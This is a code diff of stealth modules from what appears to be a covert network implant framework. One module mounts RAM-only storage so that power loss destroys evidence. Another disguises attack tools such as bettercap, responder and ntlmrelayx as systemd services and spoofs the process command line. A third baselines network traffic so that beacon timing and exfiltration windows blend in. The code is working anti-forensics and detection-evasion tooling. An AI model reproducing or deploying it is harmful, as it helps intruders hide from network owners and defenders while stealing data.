||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("OverlayFS stopped and unmounted")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"overlay_active": self._overlay_active,
|
||||
"tmpfs_mounted": self._tmpfs_mounted,
|
||||
"upper_usage_mb": self._get_upper_usage_mb(),
|
||||
"upper_limit_mb": self._upper_limit_mb,
|
||||
"tier": self._tier,
|
||||
"merged_dir": self._merged_dir,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "overlay_lower" in config:
|
||||
self._lower_dir = config["overlay_lower"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: overlay path helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@property
|
||||
def merged_path(self) -> str:
|
||||
"""Return the merged overlay mount point (use this as working directory)."""
|
||||
return self._merged_dir
|
||||
|
||||
def get_upper_usage_mb(self) -> float:
|
||||
"""Return current tmpfs upper layer usage in MB."""
|
||||
return self._get_upper_usage_mb()
|
||||
|
||||
def is_near_limit(self, threshold_pct: float = 85.0) -> bool:
|
||||
"""Check if upper layer usage is approaching the size budget."""
|
||||
if self._upper_limit_mb is None:
|
||||
return False
|
||||
usage = self._get_upper_usage_mb()
|
||||
return (usage / self._upper_limit_mb * 100) >= threshold_pct
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: setup and teardown
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_overlay(self) -> bool:
|
||||
"""Create tmpfs mount and overlayfs mount."""
|
||||
try:
|
||||
# Create all directories
|
||||
for d in [self._overlay_base, self._upper_dir, self._work_dir, self._merged_dir]:
|
||||
os.makedirs(d, mode=0o700, exist_ok=True)
|
||||
|
||||
# Ensure lower directory exists
|
||||
os.makedirs(self._lower_dir, mode=0o700, exist_ok=True)
|
||||
|
||||
# Mount tmpfs on the overlay base with size limit
|
||||
if not self._is_mounted(self._overlay_base):
|
||||
size_opt = f"size={self._upper_limit_mb}m" if self._upper_limit_mb else "size=50%"
|
||||
result = subprocess.run(
|
||||
["mount", "-t", "tmpfs", "-o", f"{size_opt},mode=0700",
|
||||
"tmpfs", self._overlay_base],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.error(
|
||||
"tmpfs mount failed: %s",
|
||||
result.stderr.decode(errors="replace"),
|
||||
)
|
||||
return False
|
||||
self._tmpfs_mounted = True
|
||||
# Recreate subdirectories on fresh tmpfs
|
||||
for d in [self._upper_dir, self._work_dir, self._merged_dir]:
|
||||
os.makedirs(d, mode=0o700, exist_ok=True)
|
||||
logger.info("tmpfs mounted at %s (%s)", self._overlay_base, size_opt)
|
||||
else:
|
||||
self._tmpfs_mounted = True
|
||||
|
||||
# Mount overlayfs
|
||||
if not self._is_mounted(self._merged_dir):
|
||||
mount_opts = (
|
||||
f"lowerdir={self._lower_dir},"
|
||||
f"upperdir={self._upper_dir},"
|
||||
f"workdir={self._work_dir}"
|
||||
)
|
||||
result = subprocess.run(
|
||||
["mount", "-t", "overlay", "overlay",
|
||||
"-o", mount_opts, self._merged_dir],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
stderr = result.stderr.decode(errors="replace")
|
||||
logger.error("overlayfs mount failed: %s", stderr)
|
||||
# Cleanup tmpfs if overlay fails
|
||||
self._unmount(self._overlay_base)
|
||||
self._tmpfs_mounted = False
|
||||
return False
|
||||
self._overlay_active = True
|
||||
logger.info("overlayfs mounted at %s", self._merged_dir)
|
||||
else:
|
||||
self._overlay_active = True
|
||||
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Overlay setup failed")
|
||||
return False
|
||||
|
||||
def _teardown_overlay(self) -> None:
|
||||
"""Sync and unmount overlay, then tmpfs."""
|
||||
# Sync any pending writes
|
||||
try:
|
||||
subprocess.run(["sync"], timeout=10, capture_output=True)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Unmount overlay first
|
||||
if self._overlay_active:
|
||||
if self._unmount(self._merged_dir):
|
||||
self._overlay_active = False
|
||||
logger.info("overlayfs unmounted")
|
||||
|
||||
# Unmount tmpfs (all data in upper layer is destroyed)
|
||||
if self._tmpfs_mounted:
|
||||
if self._unmount(self._overlay_base):
|
||||
self._tmpfs_mounted = False
|
||||
logger.info("tmpfs unmounted — all overlay writes destroyed")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: mount helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _is_mounted(path: str) -> bool:
|
||||
"""Check if a path is a mount point."""
|
||||
try:
|
||||
with open("/proc/mounts", "r") as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 2 and parts[1] == path:
|
||||
return True
|
||||
except IOError:
|
||||
pass
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _unmount(path: str, lazy: bool = False) -> bool:
|
||||
"""Unmount a filesystem. Uses lazy unmount as fallback."""
|
||||
try:
|
||||
cmd = ["umount", path]
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
|
||||
if not lazy:
|
||||
# Retry with lazy unmount
|
||||
cmd = ["umount", "-l", path]
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
|
||||
logger.warning(
|
||||
"Failed to unmount %s: %s",
|
||||
path, result.stderr.decode(errors="replace"),
|
||||
)
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Unmount failed: %s", path)
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: usage tracking
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_upper_usage_mb(self) -> float:
|
||||
"""Get current size of the tmpfs upper layer in MB."""
|
||||
if not self._tmpfs_mounted:
|
||||
return 0.0
|
||||
try:
|
||||
stat = os.statvfs(self._overlay_base)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
return used / (1024 * 1024)
|
||||
except OSError:
|
||||
return 0.0
|
||||
@@ -0,0 +1,179 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Process disguise module — rename all SystemMonitor processes to look like
|
||||
legitimate system services.
|
||||
|
||||
Reads process name mappings from stealth.yaml, renames own processes via
|
||||
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
|
||||
processes as they start.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
import threading
|
||||
from typing import Dict, Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.stealth import rename_process, spoof_cmdline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ProcessDisguise(BaseModule):
|
||||
"""Rename all managed processes to innocuous system service names."""
|
||||
|
||||
name = "process_disguise"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._name_map: Dict[str, str] = {} # original -> disguised
|
||||
self._disguised_pids: Dict[int, str] = {} # pid -> fake_name
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Load process name mappings from stealth.yaml config
|
||||
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||
self._name_map = stealth_cfg.get("process_names", {})
|
||||
if not self._name_map:
|
||||
# Fallback defaults matching stealth.yaml
|
||||
self._name_map = {
|
||||
"python3": "systemd-thermald",
|
||||
"bettercap": "networkd-dispatcher",
|
||||
"tcpdump": "systemd-netlogd",
|
||||
"responder": "systemd-resolved",
|
||||
"mitmproxy": "systemd-networkd",
|
||||
"ntlmrelayx": "systemd-logind",
|
||||
"hostapd": "wpa_supplicant",
|
||||
"dnsmasq": "systemd-resolved",
|
||||
}
|
||||
|
||||
# Disguise own process first
|
||||
own_fake = self._name_map.get("python3", "systemd-thermald")
|
||||
self._apply_disguise(os.getpid(), own_fake)
|
||||
|
||||
# Spoof /proc/self/cmdline
|
||||
spoof_cmdline(own_fake)
|
||||
|
||||
# Subscribe to bus events for auto-disguise
|
||||
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
logger.info(
|
||||
"ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
|
||||
len(self._name_map), os.getpid(), own_fake,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
pids_snapshot = dict(self._disguised_pids)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"disguised_pids": pids_snapshot,
|
||||
"total_disguised": len(pids_snapshot),
|
||||
"name_mappings": len(self._name_map),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
new_names = config.get("stealth_yaml", {}).get("process_names")
|
||||
if new_names:
|
||||
self._name_map.update(new_names)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API for other modules / tool_manager
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def disguise_pid(self, pid: int, name: str) -> bool:
|
||||
"""Disguise an arbitrary PID with the given fake name.
|
||||
|
||||
Called by tool_manager or other modules to rename external processes.
|
||||
For external processes, we write to /proc/PID/comm (requires root or
|
||||
same user).
|
||||
"""
|
||||
return self._apply_disguise(pid, name)
|
||||
|
||||
def get_fake_name(self, original_name: str) -> str:
|
||||
"""Look up the disguise name for a process. Returns original if no mapping."""
|
||||
return self._name_map.get(original_name, original_name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event) -> None:
|
||||
"""Auto-disguise newly started module processes."""
|
||||
payload = event.payload
|
||||
pid = payload.get("pid")
|
||||
module_name = payload.get("module", "")
|
||||
|
||||
if pid and pid != os.getpid():
|
||||
# Python modules get the python3 disguise name
|
||||
fake = self._name_map.get("python3", "systemd-thermald")
|
||||
self._apply_disguise(pid, fake)
|
||||
logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)
|
||||
|
||||
def _on_tool_restarted(self, event) -> None:
|
||||
"""Re-disguise restarted tool processes."""
|
||||
payload = event.payload
|
||||
pid = payload.get("pid")
|
||||
tool_name = payload.get("tool", "")
|
||||
|
||||
if pid:
|
||||
fake = self._name_map.get(tool_name, tool_name)
|
||||
self._apply_disguise(pid, fake)
|
||||
logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_disguise(self, pid: int, fake_name: str) -> bool:
|
||||
"""Apply a process name disguise to the given PID."""
|
||||
success = False
|
||||
|
||||
if pid == os.getpid():
|
||||
# Own process — use prctl
|
||||
success = rename_process(fake_name)
|
||||
else:
|
||||
# External process — write to /proc/PID/comm
|
||||
try:
|
||||
comm_path = f"/proc/{pid}/comm"
|
||||
with open(comm_path, "w") as f:
|
||||
f.write(fake_name[:15])
|
||||
success = True
|
||||
except (IOError, PermissionError, FileNotFoundError) as exc:
|
||||
logger.debug("Cannot disguise PID %d: %s", pid, exc)
|
||||
|
||||
if success:
|
||||
with self._lock:
|
||||
self._disguised_pids[pid] = fake_name
|
||||
|
||||
return success
|
||||
@@ -0,0 +1,273 @@
|
||||
#!/usr/bin/env python3
|
||||
"""tmpfs manager — RAM-backed mounts for sensitive operations.
|
||||
|
||||
Creates tmpfs mounts for working directories, runtime state, and SQLite WAL
|
||||
files. Power loss = instant evidence destruction since tmpfs is RAM-only.
|
||||
Size limits are tier-aware (OPi Zero 3: 200MB, Pi Zero: 30MB, generic: 512MB).
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default tmpfs size limits per tier (MB)
|
||||
_TIER_TMPFS_LIMITS = {
|
||||
TIER_OPI_ZERO3: 200,
|
||||
TIER_PI_ZERO: 30,
|
||||
TIER_GENERIC: 512,
|
||||
}
|
||||
|
||||
|
||||
class TmpfsManager(BaseModule):
|
||||
"""Manage tmpfs mounts for RAM-only sensitive storage."""
|
||||
|
||||
name = "tmpfs_manager"
|
||||
module_type = "stealth"
|
||||
priority = -450
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._mounts: Dict[str, dict] = {} # mount_point -> {size_mb, purpose}
|
||||
self._install_path: str = ""
|
||||
self._tier_limit_mb: int = 200
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._install_path = self.config.get("device", {}).get(
|
||||
"install_path", "/opt/.cache/bb"
|
||||
)
|
||||
|
||||
# Determine tier-based tmpfs limit
|
||||
tier = get_hardware_tier()
|
||||
hw_tiers = self.config.get("hardware_tiers", {})
|
||||
tier_cfg = hw_tiers.get(tier, {})
|
||||
self._tier_limit_mb = tier_cfg.get(
|
||||
"overlayfs_mb",
|
||||
_TIER_TMPFS_LIMITS.get(tier, 200),
|
||||
) or _TIER_TMPFS_LIMITS.get(tier, 200)
|
||||
|
||||
# Create and mount tmpfs volumes
|
||||
tmp_path = os.path.join(self._install_path, "tmp")
|
||||
run_path = os.path.join(self._install_path, "run")
|
||||
|
||||
# Split budget: 70% for tmp (working data), 30% for run (runtime state)
|
||||
tmp_size = int(self._tier_limit_mb * 0.7)
|
||||
run_size = int(self._tier_limit_mb * 0.3)
|
||||
|
||||
self._mount_tmpfs(tmp_path, tmp_size, "general tmpfs working directory")
|
||||
self._mount_tmpfs(run_path, run_size, "runtime state")
|
||||
|
||||
# Create standard subdirectories
|
||||
for subdir in ("wal", "work", "modules"):
|
||||
os.makedirs(os.path.join(tmp_path, subdir), exist_ok=True)
|
||||
for subdir in ("pids", "sockets", "locks"):
|
||||
os.makedirs(os.path.join(run_path, subdir), exist_ok=True)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
logger.info(
|
||||
"TmpfsManager active — %d mounts, tier=%s, budget=%dMB",
|
||||
len(self._mounts), tier, self._tier_limit_mb,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Unmount in reverse order (most recently mounted first)
|
||||
for mount_point in reversed(list(self._mounts.keys())):
|
||||
self._unmount_tmpfs(mount_point)
|
||||
|
||||
self._mounts.clear()
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("TmpfsManager stopped — all tmpfs mounts removed")
|
||||
|
||||
def status(self) -> dict:
|
||||
mounts_info = []
|
||||
for mount_point, info in self._mounts.items():
|
||||
entry = {
|
||||
"mount_point": mount_point,
|
||||
"size_mb": info["size_mb"],
|
||||
"purpose": info["purpose"],
|
||||
}
|
||||
# Get current usage
|
||||
try:
|
||||
stat = os.statvfs(mount_point)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
entry["used_mb"] = round(used / (1024 * 1024), 1)
|
||||
entry["free_mb"] = round(free / (1024 * 1024), 1)
|
||||
entry["used_pct"] = round((used / total) * 100, 1) if total > 0 else 0
|
||||
except OSError:
|
||||
entry["used_mb"] = 0
|
||||
entry["free_mb"] = 0
|
||||
entry["used_pct"] = 0
|
||||
mounts_info.append(entry)
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"tier_limit_mb": self._tier_limit_mb,
|
||||
"mount_count": len(self._mounts),
|
||||
"mounts": mounts_info,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_tmp_path(self) -> Optional[str]:
|
||||
"""Return the general tmpfs working directory, or None if not mounted."""
|
||||
path = os.path.join(self._install_path, "tmp")
|
||||
return path if path in self._mounts else None
|
||||
|
||||
def get_run_path(self) -> Optional[str]:
|
||||
"""Return the runtime state tmpfs path, or None if not mounted."""
|
||||
path = os.path.join(self._install_path, "run")
|
||||
return path if path in self._mounts else None
|
||||
|
||||
def get_wal_path(self) -> Optional[str]:
|
||||
"""Return the WAL file tmpfs directory for SQLite databases."""
|
||||
tmp = self.get_tmp_path()
|
||||
if tmp:
|
||||
wal_dir = os.path.join(tmp, "wal")
|
||||
return wal_dir if os.path.isdir(wal_dir) else None
|
||||
return None
|
||||
|
||||
def get_module_workdir(self, module_name: str) -> Optional[str]:
|
||||
"""Get or create a per-module working directory on tmpfs."""
|
||||
tmp = self.get_tmp_path()
|
||||
if not tmp:
|
||||
return None
|
||||
workdir = os.path.join(tmp, "modules", module_name)
|
||||
os.makedirs(workdir, exist_ok=True)
|
||||
return workdir
|
||||
|
||||
def symlink_wal(self, db_path: str) -> bool:
|
||||
"""Symlink a SQLite WAL file from its storage location to tmpfs.
|
||||
|
||||
Call this after creating/opening a SQLite database so the WAL file
|
||||
lives in RAM instead of on disk.
|
||||
|
||||
Args:
|
||||
db_path: Path to the .db file (the WAL will be at db_path + '-wal')
|
||||
|
||||
Returns:
|
||||
True if the symlink was created successfully.
|
||||
"""
|
||||
wal_dir = self.get_wal_path()
|
||||
if not wal_dir:
|
||||
return False
|
||||
|
||||
wal_source = db_path + "-wal"
|
||||
db_name = os.path.basename(db_path)
|
||||
wal_target = os.path.join(wal_dir, db_name + "-wal")
|
||||
|
||||
try:
|
||||
# Remove existing WAL if present
|
||||
if os.path.exists(wal_source) and not os.path.islink(wal_source):
|
||||
os.unlink(wal_source)
|
||||
|
||||
# Create symlink: storage/foo.db-wal -> tmpfs/wal/foo.db-wal
|
||||
if not os.path.islink(wal_source):
|
||||
os.symlink(wal_target, wal_source)
|
||||
|
||||
# Also handle the -shm file
|
||||
shm_source = db_path + "-shm"
|
||||
shm_target = os.path.join(wal_dir, db_name + "-shm")
|
||||
if os.path.exists(shm_source) and not os.path.islink(shm_source):
|
||||
os.unlink(shm_source)
|
||||
if not os.path.islink(shm_source):
|
||||
os.symlink(shm_target, shm_source)
|
||||
|
||||
logger.debug("WAL symlinked: %s -> %s", wal_source, wal_target)
|
||||
return True
|
||||
except (IOError, OSError) as exc:
|
||||
logger.warning("Failed to symlink WAL for %s: %s", db_path, exc)
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal mount management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _mount_tmpfs(self, mount_point: str, size_mb: int, purpose: str) -> bool:
|
||||
"""Create a tmpfs mount at the given path."""
|
||||
try:
|
||||
os.makedirs(mount_point, exist_ok=True)
|
||||
|
||||
# Check if already mounted
|
||||
if self._is_mounted(mount_point):
|
||||
logger.debug("Already mounted: %s", mount_point)
|
||||
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
|
||||
return True
|
||||
|
||||
subprocess.run(
|
||||
["mount", "-t", "tmpfs", "-o", f"size={size_mb}m,mode=0700,nodev,nosuid",
|
||||
"tmpfs", mount_point],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
|
||||
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
|
||||
logger.debug("Mounted tmpfs: %s (%dMB) — %s", mount_point, size_mb, purpose)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, OSError) as exc:
|
||||
logger.error("Failed to mount tmpfs at %s: %s", mount_point, exc)
|
||||
return False
|
||||
|
||||
def _unmount_tmpfs(self, mount_point: str) -> bool:
|
||||
"""Unmount a tmpfs mount."""
|
||||
try:
|
||||
if self._is_mounted(mount_point):
|
||||
subprocess.run(
|
||||
["umount", "-l", mount_point], # lazy unmount for safety
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
logger.debug("Unmounted tmpfs: %s", mount_point)
|
||||
|
||||
# Clean up the directory
|
||||
try:
|
||||
os.rmdir(mount_point)
|
||||
except OSError:
|
||||
pass # Directory may not be empty or may not exist
|
||||
|
||||
return True
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.warning("Failed to unmount %s: %s", mount_point, exc)
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _is_mounted(path: str) -> bool:
|
||||
"""Check if a path is a mount point."""
|
||||
try:
|
||||
with open("/proc/mounts", "r") as f:
|
||||
for line in f:
|
||||
fields = line.split()
|
||||
if len(fields) >= 2 and fields[1] == path:
|
||||
return True
|
||||
except IOError:
|
||||
pass
|
||||
return False
|
||||
@@ -0,0 +1,336 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Traffic mimicry module: baseline normal traffic patterns then shape
|
||||
implant communications to match observed characteristics."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import time
|
||||
import threading
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
PHASE_BASELINE = "baseline"
|
||||
PHASE_SHAPING = "shaping"
|
||||
|
||||
# Default baseline storage
|
||||
BASELINE_DIR = "storage/baseline"
|
||||
|
||||
|
||||
class TrafficMimicry(BaseModule):
|
||||
"""Two-phase traffic mimicry: 48h baseline collection then traffic shaping
|
||||
to match observed network patterns."""
|
||||
|
||||
name = "traffic_mimicry"
|
||||
module_type = "stealth"
|
||||
priority = -200
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._phase = PHASE_BASELINE
|
||||
self._baseline_hours = config.get("baseline_hours", 48)
|
||||
self._shape_exfil = config.get("shape_exfil", True)
|
||||
self._match_protocols = config.get("match_protocols", True)
|
||||
self._jitter_pct = config.get("jitter_pct", 15)
|
||||
self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
|
||||
self._baseline_start: Optional[float] = None
|
||||
self._baseline_data = self._empty_baseline()
|
||||
self._monitor_thread: Optional[threading.Thread] = None
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Check if we have a saved baseline
|
||||
saved = self._load_baseline()
|
||||
if saved and self._baseline_complete(saved):
|
||||
self._baseline_data = saved
|
||||
self._phase = PHASE_SHAPING
|
||||
logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
|
||||
else:
|
||||
self._phase = PHASE_BASELINE
|
||||
self._baseline_start = time.time()
|
||||
logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)
|
||||
|
||||
# Subscribe to capture events for baseline data
|
||||
self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
|
||||
|
||||
# Background thread for periodic baseline updates and phase transitions
|
||||
self._monitor_thread = threading.Thread(
|
||||
target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
|
||||
)
|
||||
self._monitor_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
|
||||
if self._monitor_thread and self._monitor_thread.is_alive():
|
||||
self._monitor_thread.join(timeout=5.0)
|
||||
# Persist current baseline
|
||||
self._save_baseline()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("TrafficMimicry stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
completeness = self._baseline_completeness_pct()
|
||||
deviation = self._traffic_deviation_score()
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"phase": self._phase,
|
||||
"baseline_completeness_pct": completeness,
|
||||
"traffic_deviation_score": deviation,
|
||||
"baseline_hours_configured": self._baseline_hours,
|
||||
"baseline_hours_elapsed": self._baseline_hours_elapsed(),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "baseline_hours" in config:
|
||||
self._baseline_hours = config["baseline_hours"]
|
||||
if "shape_exfil" in config:
|
||||
self._shape_exfil = config["shape_exfil"]
|
||||
if "match_protocols" in config:
|
||||
self._match_protocols = config["match_protocols"]
|
||||
if "jitter_pct" in config:
|
||||
self._jitter_pct = config["jitter_pct"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Traffic shaping API (called by other modules)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_recommended_beacon_interval(self) -> float:
|
||||
"""Return a beacon interval (seconds) that matches observed periodic traffic."""
|
||||
with self._lock:
|
||||
intervals = self._baseline_data.get("periodic_intervals", [])
|
||||
if not intervals:
|
||||
return 300.0 # Default 5min if no baseline
|
||||
# Pick the most common periodic interval and add jitter
|
||||
base = random.choice(intervals)
|
||||
jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
|
||||
return max(10.0, base + jitter)
|
||||
|
||||
def get_recommended_exfil_window(self) -> dict:
|
||||
"""Return recommended exfil timing based on baseline upload patterns."""
|
||||
with self._lock:
|
||||
hourly = self._baseline_data.get("hourly_volume", {})
|
||||
if not hourly:
|
||||
return {"hour": 3, "duration_minutes": 15} # Default: 3 AM
|
||||
# Find peak upload hour
|
||||
peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
|
||||
return {
|
||||
"hour": int(peak_hour),
|
||||
"duration_minutes": 30,
|
||||
"max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
|
||||
}
|
||||
|
||||
def should_send_now(self) -> bool:
|
||||
"""Check if current time matches a high-traffic period (safe to send)."""
|
||||
if self._phase == PHASE_BASELINE:
|
||||
return False # Don't shape during baseline
|
||||
with self._lock:
|
||||
hourly = self._baseline_data.get("hourly_volume", {})
|
||||
if not hourly:
|
||||
return True
|
||||
current_hour = str(time.localtime().tm_hour)
|
||||
hour_data = hourly.get(current_hour, {})
|
||||
volume = hour_data.get("total_bytes", 0)
|
||||
avg_volume = sum(
|
||||
h.get("total_bytes", 0) for h in hourly.values()
|
||||
) / max(len(hourly), 1)
|
||||
# Only send when current hour volume is above average
|
||||
return volume >= avg_volume * 0.5
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: baseline collection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _empty_baseline() -> dict:
|
||||
return {
|
||||
"protocol_distribution": {},
|
||||
"hourly_volume": {},
|
||||
"inter_packet_timing": [],
|
||||
"common_dest_ports": {},
|
||||
"tls_versions": {},
|
||||
"periodic_intervals": [],
|
||||
"samples": 0,
|
||||
"start_time": None,
|
||||
"end_time": None,
|
||||
}
|
||||
|
||||
def _on_pcap_event(self, event) -> None:
|
||||
"""Handle PCAP_ROTATED events for baseline data collection."""
|
||||
if self._phase != PHASE_BASELINE:
|
||||
return
|
||||
payload = event.payload
|
||||
with self._lock:
|
||||
self._update_baseline_from_pcap(payload)
|
||||
|
||||
def _update_baseline_from_pcap(self, payload: dict) -> None:
|
||||
"""Extract traffic pattern data from PCAP rotation event payload."""
|
||||
bd = self._baseline_data
|
||||
bd["samples"] += 1
|
||||
if bd["start_time"] is None:
|
||||
bd["start_time"] = time.time()
|
||||
bd["end_time"] = time.time()
|
||||
|
||||
# Protocol distribution from payload stats
|
||||
protocols = payload.get("protocol_stats", {})
|
||||
for proto, count in protocols.items():
|
||||
bd["protocol_distribution"][proto] = (
|
||||
bd["protocol_distribution"].get(proto, 0) + count
|
||||
)
|
||||
|
||||
